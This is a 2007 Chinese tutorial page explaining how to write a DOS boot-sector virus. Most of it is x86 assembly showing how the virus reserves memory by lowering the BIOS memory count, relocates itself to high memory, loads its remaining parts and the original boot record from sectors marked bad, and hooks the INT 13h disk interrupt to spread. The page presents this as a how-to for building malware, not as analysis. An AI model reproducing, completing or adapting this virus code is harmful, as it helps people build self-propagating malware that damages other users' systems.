引导型病毒,引导型病毒编制方法

引导型病毒编制方法 - 电脑安全 - 电脑教程网

引导型病毒编制方法

日期:2007-04-15   荐:
  引导型病毒编制方法 引导形病毒指驻留在硬盘的主引导分区或硬软盘的 DOS 引导分区的病毒。由于 pc 开机后,会先执行主引导分区的代码,因此病毒可以获得第一控制权,在引导 DOS 操作系统之前,作完以下事情: a. 减少dos可用最大内存量,以供己需;如:      xor ax,ax      mov ss,ax      mov sp,7c00h      mov ds,ax      mov ax,word ptr ds:[413h] ; here store largest mem 0000:0413      sub ax,2         ; apply 2k mem for virus      mov ds:[413h],ax b. 修改必要的中断向量,以便传播; c. 读入病毒的其它部分,进行病毒的拼装(在内存高端);   先从已标记的簇中某扇区读入病毒的其他部分,这些簇往往被标记为坏簇,(但是文件型病毒则不必如此,二者混合型亦然)然后再读入原引导记录到0000:7c00h,跳转执行。代码如下:

    mov cl,06h      shl ax,cl    ; ax = 8F80      add ax,0840h  ; ax = 97c0      mov es,ax      mov si,7c00h  ; si = 7c00      mov di,si      mov cx,0100h      repz movsw   ; 将病毒移到高端.    v2: push ax      pop ds      push ax      mov bx,7c4bh      push bx      ret       ; 指令执行转入高端内存      call v3    v3: xor ah,ah    ; ah=0      int 13h      mov ah,80h      and byte ptr ds:[7df8h],al    v4: mov bx,word ptr ds:[7df9h] ; 读入病毒的其他部分.      push cs      pop ax     ; ax=97c0      sub ax,20h   ; ax=97a0      mov es,ax    ; es=97a0      call v9      mov bx,word ptr ds:[7df9h] ; load logic sector id      inc bx           ; bx , is boot sector      mov ax,0ffc0h  ; ffc0:8000 = 0000:7c00 读入原引导分区内容.      mov es,ax      call v9      xor ax,ax    ; AX=0      mov byte ptr ds:[7df7h],al ; flag = 0    v5: mov ds,ax    ; ds=0      mov ax,word ptr ds:[4ch]  ;      mov bx,word ptr ds:[4eh]  ; 修改中断向量.

    mov word ptr ds:[4ch],7cd6h      mov word ptr ds:[4eh],cs  ; now int13h had been changed      push cs      pop ds     ; ds=cs      mov word ptr ds:[7d30h],ax ; save original int13 vector      mov word ptr ds:[7d32h],bx ;    v6: mov dl,byte ptr ds:[7df8h] ; load drive letter    v7:      ;=======================================================      ; jmp 0000:7c00       ; here is a jump      db 0eah,00h,7ch,00h,00h 这里是个跳转指令的二进制代码.      ;======================================================= d. 读入原主引导分区,转去执行dos的引导工作。

标签: